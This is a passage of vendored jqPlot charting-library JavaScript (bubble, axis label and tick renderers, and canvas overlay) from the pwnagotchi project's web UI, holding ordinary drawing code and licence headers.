s.autoscaleMultiplier; } if (d[j][0] > db.max || db.max == null) { db.max = d[j][0]; maxsidx=i; maxpidx=j; maxr = d[j][2]; maxMaxRadius = s.maxRadius; maxMult = s.autoscaleMultiplier; } } else { if (d[j][1] < db.min || db.min == null) { db.min = d[j][1]; minsidx=i; minpidx=j; minr = d[j][2]; minMaxRadius = s.maxRadius; minMult = s.autoscaleMultiplier; } if (d[j][1] > db.max || db.max == null) { db.max = d[j][1]; maxsidx=i; maxpidx=j; maxr = d[j][2]; maxMaxRadius = s.maxRadius; maxMult = s.autoscaleMultiplier; } } } } var minRatio = minr/minMaxRadius; var maxRatio = maxr/maxMaxRadius; // need to estimate the effect of the radius on total axis span and adjust axis accordingly. var span = db.max - db.min; // var dim = (this.name == 'xaxis' || this.name == 'x2axis') ? this._plotDimensions.width : this._plotDimensions.height; var dim = Math.min(this._plotDimensions.width, this._plotDimensions.height); var minfact = minRatio * minMult/3 * span; var maxfact = maxRatio * maxMult/3 * span; db.max += maxfact; db.min -= minfact; }; function highlight (plot, sidx, pidx) { plot.plugins.bubbleRenderer.highlightLabelCanvas.empty(); var s = plot.series[sidx]; var canvas = plot.plugins.bubbleRenderer.highlightCanvas; var ctx = canvas._ctx; ctx.clearRect(0,0,ctx.canvas.width, ctx.canvas.height); s._highlightedPoint = pidx; plot.plugins.bubbleRenderer.highlightedSeriesIndex = sidx; var color = s.highlightColorGenerator.get(pidx); var x = s.gridData[pidx][0], y = s.gridData[pidx][1], r = s.gridData[pidx][2]; ctx.save(); ctx.fillStyle = color; ctx.strokeStyle = color; ctx.lineWidth = 1; ctx.beginPath(); ctx.arc(x, y, r, 0, 2*Math.PI, 0); ctx.closePath(); ctx.fill(); ctx.restore(); // bring label to front if (s.labels[pidx]) { plot.plugins.bubbleRenderer.highlightLabel = s.labels[pidx].clone(); plot.plugins.bubbleRenderer.highlightLabel.appendTo(plot.plugins.bubbleRenderer.highlightLabelCanvas); plot.plugins.bubbleRenderer.highlightLabel.addClass('jqplot-bubble-label-highlight'); } } function unhighlight (plot) { var canvas = plot.plugins.bubbleRenderer.highlightCanvas; var sidx = plot.plugins.bubbleRenderer.highlightedSeriesIndex; plot.plugins.bubbleRenderer.highlightLabelCanvas.empty(); canvas._ctx.clearRect(0,0, canvas._ctx.canvas.width, canvas._ctx.canvas.height); for (var i=0; i<plot.series.length; i++) { plot.series[i]._highlightedPoint = null; } plot.plugins.bubbleRenderer.highlightedSeriesIndex = null; plot.target.trigger('jqplotDataUnhighlight'); } function handleMove(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var si = neighbor.seriesIndex; var pi = neighbor.pointIndex; var ins = [si, pi, neighbor.data, plot.series[si].gridData[pi][2]]; var evt1 = jQuery.Event('jqplotDataMouseOver'); evt1.pageX = ev.pageX; evt1.pageY = ev.pageY; plot.target.trigger(evt1, ins); if (plot.series[ins[0]].highlightMouseOver && !(ins[0] == plot.plugins.bubbleRenderer.highlightedSeriesIndex && ins[1] == plot.series[ins[0]]._highlightedPoint)) { var evt = jQuery.Event('jqplotDataHighlight'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; plot.target.trigger(evt, ins); highlight (plot, ins[0], ins[1]); } } else if (neighbor == null) { unhighlight (plot); } } function handleMouseDown(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var si = neighbor.seriesIndex; var pi = neighbor.pointIndex; var ins = [si, pi, neighbor.data, plot.series[si].gridData[pi][2]]; if (plot.series[ins[0]].highlightMouseDown && !(ins[0] == plot.plugins.bubbleRenderer.highlightedSeriesIndex && ins[1] == plot.series[ins[0]]._highlightedPoint)) { var evt = jQuery.Event('jqplotDataHighlight'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; plot.target.trigger(evt, ins); highlight (plot, ins[0], ins[1]); } } else if (neighbor == null) { unhighlight (plot); } } function handleMouseUp(ev, gridpos, datapos, neighbor, plot) { var idx = plot.plugins.bubbleRenderer.highlightedSeriesIndex; if (idx != null && plot.series[idx].highlightMouseDown) { unhighlight(plot); } } function handleClick(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var si = neighbor.seriesIndex; var pi = neighbor.pointIndex; var ins = [si, pi, neighbor.data, plot.series[si].gridData[pi][2]]; var evt = jQuery.Event('jqplotDataClick'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; plot.target.trigger(evt, ins); } } function handleRightClick(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var si = neighbor.seriesIndex; var pi = neighbor.pointIndex; var ins = [si, pi, neighbor.data, plot.series[si].gridData[pi][2]]; var idx = plot.plugins.bubbleRenderer.highlightedSeriesIndex; if (idx != null && plot.series[idx].highlightMouseDown) { unhighlight(plot); } var evt = jQuery.Event('jqplotDataRightClick'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; plot.target.trigger(evt, ins); } } // called within context of plot // create a canvas which we can draw on. // insert it before the eventCanvas, so eventCanvas will still capture events. function postPlotDraw() { // Memory Leaks patch if (this.plugins.bubbleRenderer && this.plugins.bubbleRenderer.highlightCanvas) { this.plugins.bubbleRenderer.highlightCanvas.resetCanvas(); this.plugins.bubbleRenderer.highlightCanvas = null; } this.plugins.bubbleRenderer = {highlightedSeriesIndex:null}; this.plugins.bubbleRenderer.highlightCanvas = new $.jqplot.GenericCanvas(); this.plugins.bubbleRenderer.highlightLabel = null; this.plugins.bubbleRenderer.highlightLabelCanvas = $('<div style="position:absolute;"></div>'); var top = this._gridPadding.top; var left = this._gridPadding.left; var width = this._plotDimensions.width - this._gridPadding.left - this._gridPadding.right; var height = this._plotDimensions.height - this._gridPadding.top - this._gridPadding.bottom; this.plugins.bubbleRenderer.highlightLabelCanvas.css({top:top, left:left, width:width+'px', height:height+'px'}); this.eventCanvas._elem.before(this.plugins.bubbleRenderer.highlightCanvas.createElement(this._gridPadding, 'jqplot-bubbleRenderer-highlight-canvas', this._plotDimensions, this)); this.eventCanvas._elem.before(this.plugins.bubbleRenderer.highlightLabelCanvas); var hctx = this.plugins.bubbleRenderer.highlightCanvas.setContext(); } // setup default renderers for axes and legend so user doesn't have to // called with scope of plot function preInit(target, data, options) { options = options || {}; options.axesDefaults = options.axesDefaults || {}; options.seriesDefaults = options.seriesDefaults || {}; // only set these if there is a Bubble series var setopts = false; if (options.seriesDefaults.renderer == $.jqplot.BubbleRenderer) { setopts = true; } else if (options.series) { for (var i=0; i < options.series.length; i++) { if (options.series[i].renderer == $.jqplot.BubbleRenderer) { setopts = true; } } } if (setopts) { options.axesDefaults.renderer = $.jqplot.BubbleAxisRenderer; options.sortData = false; } } $.jqplot.preInitHooks.push(preInit); })(jQuery); ================================================ FILE: pwnagotchi/ui/web/static/js/plugins/jqplot.canvasAxisLabelRenderer.js ================================================ /** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: d96a669 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * */ (function($) { /** * Class: $.jqplot.CanvasAxisLabelRenderer * Renderer to draw axis labels with a canvas element to support advanced * featrues such as rotated text. This renderer uses a separate rendering engine * to draw the text on the canvas. Two modes of rendering the text are available. * If the browser has native font support for canvas fonts (currently Mozila 3.5 * and Safari 4), you can enable text rendering with the canvas fillText method. * You do so by setting the "enableFontSupport" option to true. * * Browsers lacking native font support will have the text drawn on the canvas * using the Hershey font metrics. Even if the "enableFontSupport" option is true * non-supporting browsers will still render with the Hershey font. * */ $.jqplot.CanvasAxisLabelRenderer = function(options) { // Group: Properties // prop: angle // angle of text, measured clockwise from x axis. this.angle = 0; // name of the axis associated with this tick this.axis; // prop: show // whether or not to show the tick (mark and label). this.show = true; // prop: showLabel // whether or not to show the label. this.showLabel = true; // prop: label // label for the axis. this.label = ''; // prop: fontFamily // CSS spec for the font-family css attribute. // Applies only to browsers supporting native font rendering in the // canvas tag. Currently Mozilla 3.5 and Safari 4. this.fontFamily = '"Trebuchet MS", Arial, Helvetica, sans-serif'; // prop: fontSize // CSS spec for font size. this.fontSize = '11pt'; // prop: fontWeight // CSS spec for fontWeight: normal, bold, bolder, lighter or a number 100 - 900 this.fontWeight = 'normal'; // prop: fontStretch // Multiplier to condense or expand font width. // Applies only to browsers which don't support canvas native font rendering. this.fontStretch = 1.0; // prop: textColor // css spec for the color attribute. this.textColor = '#666666'; // prop: enableFontSupport // true to turn on native canvas font support in Mozilla 3.5+ and Safari 4+. // If true, label will be drawn with canvas tag native support for fonts. // If false, label will be drawn with Hershey font metrics. this.enableFontSupport = true; // prop: pt2px // Point to pixel scaling factor, used for computing height of bounding box // around a label. The labels text renderer has a default setting of 1.4, which // should be suitable for most fonts. Leave as null to use default. If tops of // letters appear clipped, increase this. If bounding box seems too big, decrease. // This is an issue only with the native font renderering capabilities of Mozilla // 3.5 and Safari 4 since they do not provide a method to determine the font height. this.pt2px = null; this._elem; this._ctx; this._plotWidth; this._plotHeight; this._plotDimensions = {height:null, width:null}; $.extend(true, this, options); if (options.angle == null && this.axis != 'xaxis' && this.axis != 'x2axis') { this.angle = -90; } var ropts = {fontSize:this.fontSize, fontWeight:this.fontWeight, fontStretch:this.fontStretch, fillStyle:this.textColor, angle:this.getAngleRad(), fontFamily:this.fontFamily}; if (this.pt2px) { ropts.pt2px = this.pt2px; } if (this.enableFontSupport) { if ($.jqplot.support_canvas_text()) { this._textRenderer = new $.jqplot.CanvasFontRenderer(ropts); } else { this._textRenderer = new $.jqplot.CanvasTextRenderer(ropts); } } else { this._textRenderer = new $.jqplot.CanvasTextRenderer(ropts); } }; $.jqplot.CanvasAxisLabelRenderer.prototype.init = function(options) { $.extend(true, this, options); this._textRenderer.init({fontSize:this.fontSize, fontWeight:this.fontWeight, fontStretch:this.fontStretch, fillStyle:this.textColor, angle:this.getAngleRad(), fontFamily:this.fontFamily}); }; // return width along the x axis // will check first to see if an element exists. // if not, will return the computed text box width. $.jqplot.CanvasAxisLabelRenderer.prototype.getWidth = function(ctx) { if (this._elem) { return this._elem.outerWidth(true); } else { var tr = this._textRenderer; var l = tr.getWidth(ctx); var h = tr.getHeight(ctx); var w = Math.abs(Math.sin(tr.angle)*h) + Math.abs(Math.cos(tr.angle)*l); return w; } }; // return height along the y axis. $.jqplot.CanvasAxisLabelRenderer.prototype.getHeight = function(ctx) { if (this._elem) { return this._elem.outerHeight(true); } else { var tr = this._textRenderer; var l = tr.getWidth(ctx); var h = tr.getHeight(ctx); var w = Math.abs(Math.cos(tr.angle)*h) + Math.abs(Math.sin(tr.angle)*l); return w; } }; $.jqplot.CanvasAxisLabelRenderer.prototype.getAngleRad = function() { var a = this.angle * Math.PI/180; return a; }; $.jqplot.CanvasAxisLabelRenderer.prototype.draw = function(ctx, plot) { // Memory Leaks patch if (this._elem) { if ($.jqplot.use_excanvas && window.G_vmlCanvasManager.uninitElement !== undefined) { window.G_vmlCanvasManager.uninitElement(this._elem.get(0)); } this._elem.emptyForce(); this._elem = null; } // create a canvas here, but can't draw on it untill it is appended // to dom for IE compatability. var elem = plot.canvasManager.getCanvas(); this._textRenderer.setText(this.label, ctx); var w = this.getWidth(ctx); var h = this.getHeight(ctx); elem.width = w; elem.height = h; elem.style.width = w; elem.style.height = h; elem = plot.canvasManager.initCanvas(elem); this._elem = $(elem); this._elem.css({ position: 'absolute'}); this._elem.addClass('jqplot-'+this.axis+'-label'); elem = null; return this._elem; }; $.jqplot.CanvasAxisLabelRenderer.prototype.pack = function() { this._textRenderer.draw(this._elem.get(0).getContext("2d"), this.label); }; })(jQuery); ================================================ FILE: pwnagotchi/ui/web/static/js/plugins/jqplot.canvasAxisTickRenderer.js ================================================ /** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: d96a669 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * */ (function($) { /** * Class: $.jqplot.CanvasAxisTickRenderer * Renderer to draw axis ticks with a canvas element to support advanced * featrues such as rotated text. This renderer uses a separate rendering engine * to draw the text on the canvas. Two modes of rendering the text are available. * If the browser has native font support for canvas fonts (currently Mozila 3.5 * and Safari 4), you can enable text rendering with the canvas fillText method. * You do so by setting the "enableFontSupport" option to true. * * Browsers lacking native font support will have the text drawn on the canvas * using the Hershey font metrics. Even if the "enableFontSupport" option is true * non-supporting browsers will still render with the Hershey font. */ $.jqplot.CanvasAxisTickRenderer = function(options) { // Group: Properties // prop: mark // tick mark on the axis. One of 'inside', 'outside', 'cross', '' or null. this.mark = 'outside'; // prop: showMark // whether or not to show the mark on the axis. this.showMark = true; // prop: showGridline // whether or not to draw the gridline on the grid at this tick. this.showGridline = true; // prop: isMinorTick // if this is a minor tick. this.isMinorTick = false; // prop: angle // angle of text, measured clockwise from x axis. this.angle = 0; // prop: markSize // Length of the tick marks in pixels. For 'cross' style, length // will be stoked above and below axis, so total length will be twice this. this.markSize = 4; // prop: show // whether or not to show the tick (mark and label). this.show = true; // prop: showLabel // whether or not to show the label. this.showLabel = true; // prop: labelPosition // 'auto', 'start', 'middle' or 'end'. // Whether tick label should be positioned so the start, middle, or end // of the tick mark. this.labelPosition = 'auto'; this.label = ''; this.value = null; this._styles = {}; // prop: formatter // A class of a formatter for the tick text. // The default $.jqplot.DefaultTickFormatter uses sprintf. this.formatter = $.jqplot.DefaultTickFormatter; // prop: formatString // string passed to the formatter. this.formatString = ''; // prop: prefix // String to prepend to the tick label. // Prefix is prepended to the formatted tick label. this.prefix = ''; // prop: fontFamily // css spec for the font-family css attribute. this.fontFamily = '"Trebuchet MS", Arial, Helvetica, sans-serif'; // prop: fontSize // CSS spec for font size. this.fontSize = '10pt'; // prop: fontWeight // CSS spec for fontWeight this.fontWeight = 'normal'; // prop: fontStretch // Multiplier to condense or expand font width. // Applies only to browsers which don't support canvas native font rendering. this.fontStretch = 1.0; // prop: textColor // css spec for the color attribute. this.textColor = '#666666'; // prop: enableFontSupport // true to turn on native canvas font support in Mozilla 3.5+ and Safari 4+. // If true, tick label will be drawn with canvas tag native support for fonts. // If false, tick label will be drawn with Hershey font metrics. this.enableFontSupport = true; // prop: pt2px // Point to pixel scaling factor, used for computing height of bounding box // around a label. The labels text renderer has a default setting of 1.4, which // should be suitable for most fonts. Leave as null to use default. If tops of // letters appear clipped, increase this. If bounding box seems too big, decrease. // This is an issue only with the native font renderering capabilities of Mozilla // 3.5 and Safari 4 since they do not provide a method to determine the font height. this.pt2px = null; this._elem; this._ctx; this._plotWidth; this._plotHeight; this._plotDimensions = {height:null, width:null}; $.extend(true, this, options); var ropts = {fontSize:this.fontSize, fontWeight:this.fontWeight, fontStretch:this.fontStretch, fillStyle:this.textColor, angle:this.getAngleRad(), fontFamily:this.fontFamily}; if (this.pt2px) { ropts.pt2px = this.pt2px; } if (this.enableFontSupport) { if ($.jqplot.support_canvas_text()) { this._textRenderer = new $.jqplot.CanvasFontRenderer(ropts); } else { this._textRenderer = new $.jqplot.CanvasTextRenderer(ropts); } } else { this._textRenderer = new $.jqplot.CanvasTextRenderer(ropts); } }; $.jqplot.CanvasAxisTickRenderer.prototype.init = function(options) { $.extend(true, this, options); this._textRenderer.init({fontSize:this.fontSize, fontWeight:this.fontWeight, fontStretch:this.fontStretch, fillStyle:this.textColor, angle:this.getAngleRad(), fontFamily:this.fontFamily}); }; // return width along the x axis // will check first to see if an element exists. // if not, will return the computed text box width. $.jqplot.CanvasAxisTickRenderer.prototype.getWidth = function(ctx) { if (this._elem) { return this._elem.outerWidth(true); } else { var tr = this._textRenderer; var l = tr.getWidth(ctx); var h = tr.getHeight(ctx); var w = Math.abs(Math.sin(tr.angle)*h) + Math.abs(Math.cos(tr.angle)*l); return w; } }; // return height along the y axis. $.jqplot.CanvasAxisTickRenderer.prototype.getHeight = function(ctx) { if (this._elem) { return this._elem.outerHeight(true); } else { var tr = this._textRenderer; var l = tr.getWidth(ctx); var h = tr.getHeight(ctx); var w = Math.abs(Math.cos(tr.angle)*h) + Math.abs(Math.sin(tr.angle)*l); return w; } }; // return top. $.jqplot.CanvasAxisTickRenderer.prototype.getTop = function(ctx) { if (this._elem) { return this._elem.position().top; } else { return null; } }; $.jqplot.CanvasAxisTickRenderer.prototype.getAngleRad = function() { var a = this.angle * Math.PI/180; return a; }; $.jqplot.CanvasAxisTickRenderer.prototype.setTick = function(value, axisName, isMinor) { this.value = value; if (isMinor) { this.isMinorTick = true; } return this; }; $.jqplot.CanvasAxisTickRenderer.prototype.draw = function(ctx, plot) { if (!this.label) { this.label = this.prefix + this.formatter(this.formatString, this.value); } // Memory Leaks patch if (this._elem) { if ($.jqplot.use_excanvas && window.G_vmlCanvasManager.uninitElement !== undefined) { window.G_vmlCanvasManager.uninitElement(this._elem.get(0)); } this._elem.emptyForce(); this._elem = null; } // create a canvas here, but can't draw on it untill it is appended // to dom for IE compatability. var elem = plot.canvasManager.getCanvas(); this._textRenderer.setText(this.label, ctx); var w = this.getWidth(ctx); var h = this.getHeight(ctx); // canvases seem to need to have width and heigh attributes directly set. elem.width = w; elem.height = h; elem.style.width = w; elem.style.height = h; elem.style.textAlign = 'left'; elem.style.position = 'absolute'; elem = plot.canvasManager.initCanvas(elem); this._elem = $(elem); this._elem.css(this._styles); this._elem.addClass('jqplot-'+this.axis+'-tick'); elem = null; return this._elem; }; $.jqplot.CanvasAxisTickRenderer.prototype.pack = function() { this._textRenderer.draw(this._elem.get(0).getContext("2d"), this.label); }; })(jQuery); ================================================ FILE: pwnagotchi/ui/web/static/js/plugins/jqplot.canvasOverlay.js ================================================ /** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: d96a669 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * */ (function($) { var objCounter = 0; // class: $.jqplot.CanvasOverlay $.jqplot.CanvasOverlay = function(opts){ var options = opts || {}; this.options = { show: $.jqplot.config.enablePlugins, deferDraw: false }; // prop: objects this.objects = []; this.objectNames = []; this.canvas = null; this.markerRenderer = new $.jqplot.MarkerRenderer({style:'line'}); this.markerRenderer.init(); this.highlightObjectIndex = null; if (options.objects) { var objs = options.objects, obj; for (var i=0; i<objs.length; i++) { obj = objs[i]; for (var n in obj) { switch (n) { case 'line': this.addLine(obj[n]); break; case 'horizontalLine': this.addHorizontalLine(obj[n]); break; case 'dashedHorizontalLine': this.addDashedHorizontalLine(obj[n]); break; case 'verticalLine': this.addVerticalLine(obj[n]); break; case 'dashedVerticalLine': this.addDashedVerticalLine(obj[n]); break; case 'rectangle': this.addRectangle(obj[n]); break; default: break; } } } } $.extend(true, this.options, options); }; // called with scope of a plot object $.jqplot.CanvasOverlay.postPlotInit = function (target, data, opts) { var options = opts || {}; // add a canvasOverlay attribute to the plot this.plugins.canvasOverlay = new $.jqplot.CanvasOverlay(options.canvasOverlay); }; function LineBase() { this.uid = null; this.type = null; this.gridStart = null; this.gridStop = null; this.tooltipWidthFactor = 0; this.options = { // prop: name // Optional name for the overlay object. // Can be later used to retrieve the object by name. name: null, // prop: show // true to show (draw), false to not draw. show: true, // prop: lineWidth // Width of the line. lineWidth: 2, // prop: lineCap // Type of ending placed on the line ['round', 'butt', 'square'] lineCap: 'round', // prop: color // color of the line color: '#666666', // prop: shadow // whether or not to draw a shadow on the line shadow: true, // prop: shadowAngle // Shadow angle in degrees shadowAngle: 45, // prop: shadowOffset // Shadow offset from line in pixels shadowOffset: 1, // prop: shadowDepth // Number of times shadow is stroked, each stroke offset shadowOffset from the last. shadowDepth: 3, // prop: shadowAlpha // Alpha channel transparency of shadow. 0 = transparent. shadowAlpha: '0.07', // prop: xaxis // X axis to use for positioning/scaling the line. xaxis: 'xaxis', // prop: yaxis // Y axis to use for positioning/scaling the line. yaxis: 'yaxis', // prop: showTooltip // Show a tooltip with data point values. showTooltip: false, // prop: showTooltipPrecision // Controls how close to line cursor must be to show tooltip. // Higher number = closer to line, lower number = farther from line. // 1.0 = cursor must be over line. showTooltipPrecision: 0.6, // prop: tooltipLocation // Where to position tooltip, 'n', 'ne', 'e', 'se', 's', 'sw', 'w', 'nw' tooltipLocation: 'nw', // prop: fadeTooltip // true = fade in/out tooltip, flase = show/hide tooltip fadeTooltip: true, // prop: tooltipFadeSpeed // 'slow', 'def', 'fast', or number of milliseconds. tooltipFadeSpeed: "fast", // prop: tooltipOffset // Pixel offset of tooltip from the highlight. tooltipOffset: 4, // prop: tooltipFormatString // Format string passed the x and y values of the cursor on the line. // e.g., 'Dogs: %.2f, Cats: %d'. tooltipFormatString: '%d, %d' }; } function Rectangle(options) { LineBase.call(this); this.type = 'rectangle'; var opts = { // prop: xmin // x value for the start of the line, null to scale to axis min. xmin: null, // prop: xmax // x value for the end of the line, null to scale to axis max. xmax: null, // prop xOffset // offset ends of the line inside the grid. Number xOffset: '6px', // number or string. Number interpreted as units, string as pixels. xminOffset: null, xmaxOffset: null, ymin: null, ymax: null, yOffset: '6px', // number or string. Number interpreted as units, string as pixels. yminOffset: null, ymaxOffset: null }; $.extend(true, this.options, opts, options); if (this.options.showTooltipPrecision < 0.01) { this.options.showTooltipPrecision = 0.01; } } Rectangle.prototype = new LineBase(); Rectangle.prototype.constructor = Rectangle; /** * Class: Line * A straight line. */ function Line(options) { LineBase.call(this); this.type = 'line'; var opts = { // prop: start // [x, y] coordinates for the start of the line. start: [], // prop: stop // [x, y] coordinates for the end of the line. stop: [] }; $.extend(true, this.options, opts, options); if (this.options.showTooltipPrecision < 0.01) { this.options.showTooltipPrecision = 0.01; } } Line.prototype = new LineBase(); Line.prototype.constructor = Line; /** * Class: HorizontalLine * A straight horizontal line. */ function HorizontalLine(options) { LineBase.call(this); this.type = 'horizontalLine'; var opts = { // prop: y // y value to position the line y: null, // prop: xmin // x value for the start of the line, null to scale to axis min. xmin: null, // prop: xmax // x value for the end of the line, null to scale to axis max. xmax: null, // prop xOffset // offset ends of the line inside the grid. Number xOffset: '6px', // number or string. Number interpreted as units, string as pixels. xminOffset: null, xmaxOffset: null }; $.extend(true, this.options, opts, options); if (this.options.showTooltipPrecision < 0.01) { this.options.showTooltipPrecision = 0.01; } } HorizontalLine.prototype = new LineBase(); HorizontalLine.prototype.constructor = HorizontalLine; /** * Class: DashedHorizontalLine * A straight dashed horizontal line. */ function DashedHorizontalLine(options) { LineBase.call(this); this.type = 'dashedHorizontalLine'; var opts = { y: null, xmin: null, xmax: null, xOffset: '6px', // number or string. Number interpreted as units, string as pixels. xminOffset: null, xmaxOffset: null, // prop: dashPattern // Array of line, space settings in pixels. // Default is 8 pixel of line, 8 pixel of space. // Note, limit to a 2 element array b/c of bug with higher order arrays. dashPattern: [8,8] }; $.extend(true, this.options, opts, options); if (this.options.showTooltipPrecision < 0.01) { this.options.showTooltipPrecision = 0.01; } } DashedHorizontalLine.prototype = new LineBase(); DashedHorizontalLine.prototype.constructor = DashedHorizontalLine; /** * Class: VerticalLine * A straight vertical line. */ function VerticalLine(options) { LineBase.call(this); this.type = 'verticalLine'; var opts = { x: null, ymin: null, ymax: null, yOffset: '6px', // number or string. Number interpreted as units, string as pixels. yminOffset: null, ymaxOffset: null }; $.extend(true, this.options, opts, options); if (this.options.showTooltipPrecision < 0.01) { this.options.showTooltipPrecision = 0.01; } } VerticalLine.prototype = new LineBase(); VerticalLine.prototype.constructor = VerticalLine; /** * Class: DashedVerticalLine * A straight dashed vertical line. */ function DashedVerticalLine(options) { LineBase.call(this); this.type = 'dashedVerticalLine'; this.start = null; this.stop = null; var opts = { x: null, ymin: null, ymax: null, yOffset: '6px', // number or string. Number interpreted as units, string as pixels. yminOffset: null, ymaxOffset: null, // prop: dashPattern // Array of line, space settings in pixels. // Default is 8 pixel of line, 8 pixel of space. // Note, limit to a 2 element array b/c of bug with higher order arrays. dashPattern: [8,8] }; $.extend(true, this.options, opts, options); if (this.options.showTooltipPrecision < 0.01) { this.options.showTooltipPrecision = 0.01; } } DashedVerticalLine.prototype = new LineBase(); DashedVerticalLine.prototype.constructor = DashedVerticalLine; $.jqplot.CanvasOverlay.prototype.addLine = function(opts) { var line = new Line(opts); line.uid = objCounter++; this.objects.push(line); this.objectNames.push(line.options.name); }; $.jqplot.CanvasOverlay.prototype.addHorizontalLine = function(opts) { var line = new HorizontalLine(opts); line.uid = objCounter++; this.objects.push(line); this.objectNames.push(line.options.name); }; $.jqplot.CanvasOverlay.prototype.addDashedHorizontalLine = function(opts) { var line = new DashedHorizontalLine(opts); line.uid = objCounter++; this.objects.push(line); this.objectNames.push(line.options.name); }; $.jqplot.CanvasOverlay.prototype.addVerticalLine = function(opts) { var line = new VerticalLine(opts); line.uid = objCounter++; this.objects.push(line); this.objectNames.push(line.options.name); }; $.jqplot.CanvasOverlay.prototype.addDashedVerticalLine = function(opts) { var line = new DashedVerticalLine(opts); line.uid = objCounter++; this.objects.push(line); this.objectNames.push(line.options.name); }; $.jqplot.CanvasOverlay.prototype.addRectangle = function(opts) { var line = new Rectangle(opts); line.uid = objCounter++; this.objects.push(line); this.objectNames.push(line.options.name); }; $.jqplot.CanvasOverlay.prototype.removeObject = function(idx) { // check if integer, remove by index if ($.type(idx) == 'number') { this.objects.splice(idx, 1); this.objectNames.splice(idx, 1); } // if string, remove by name else { var id = $.inArray(idx, this.objectNames); if (id != -1) { this.objects.splice(id, 1); this.objectNames.splice(id, 1); } } }; $.jqplot.CanvasOverlay.prototype.getObject = function(idx) { // check if integer, remove by index if ($.type(idx) == 'number') { return this.objects[idx]; } // if string, remove by name else { var id = $.inArray(idx, this.objectNames); if (id != -1) { return this.objects[id]; } } }; // Set get as alias for getObject. $.jqplot.CanvasOverlay.prototype.get = $.jqplot.CanvasOverlay.prototype.getObject; $.jqplot.CanvasOverlay.prototype.clear = function(plot) { this.canvas._ctx.clearRect(0,0,this.canvas.getWidth(), this.canvas.getHeight()); }; $.jqplot.CanvasOverlay.prototype.draw = function(plot) { var obj, objs = this.objects, mr = this.markerRenderer, start, stop; if (this.options.show) { this.canvas._ctx.clearRect(0,0,this.canvas.getWidth(), this.canvas.getHeight()); for (var k=0; k<objs.length; k++) { obj = objs[k]; var opts = $.extend(true, {}, obj.options); if (obj.options.show) { // style and shadow properties should be set before // every draw of marker renderer. mr.shadow = obj.options.shadow; obj.tooltipWidthFactor = obj.options.lineWidth / obj.options.showTooltipPrecision; switch (obj.type) { case 'line': // style and shadow properties should be set before // every draw of marker renderer. mr.style = 'line'; opts.closePath = false; start = [plot.axes[obj.options.xaxis].series_u2p(obj.options.start[0]), plot.axes[obj.options.yaxis].series_u2p(obj.options.start[1])]; stop = [plot.axes[obj.options.xaxis].series_u2p(obj.options.stop[0]), plot.axes[obj.options.yaxis].series_u2p(obj.options.stop[1])]; obj.gridStart = start; obj.gridStop = stop; mr.draw(start, stop, this.canvas._ctx, opts); break; case 'horizontalLine': // style and shadow properties should be set before // every draw of marker renderer. if (obj.options.y != null) { mr.style = 'line'; opts.closePath = false; var xaxis = plot.axes[obj.options.xaxis], xstart, xstop, y = plot.axes[obj.options.yaxis].series_u2p(obj.options.y), xminoff = obj.options.xminOffset || obj.options.xOffset, xmaxoff = obj.options.xmaxOffset || obj.options.xOffset; if (obj.options.xmin != null) { xstart = xaxis.series_u2p(obj.options.xmin); } else if (xminoff != null) { if ($.type(xminoff) == "number") { xstart = xaxis.series_u2p(xaxis.min + xminoff); } else if ($.type(xminoff) == "string") { xstart = xaxis.series_u2p(xaxis.min) + parseFloat(xminoff); } } if (obj.options.xmax != null) { xstop = xaxis.series_u2p(obj.options.xmax); } else if (xmaxoff != null) { if ($.type(xmaxoff) == "number") { xstop = xaxis.series_u2p(xaxis.max - xmaxoff); } else if ($.type(xmaxoff) == "string") { xstop = 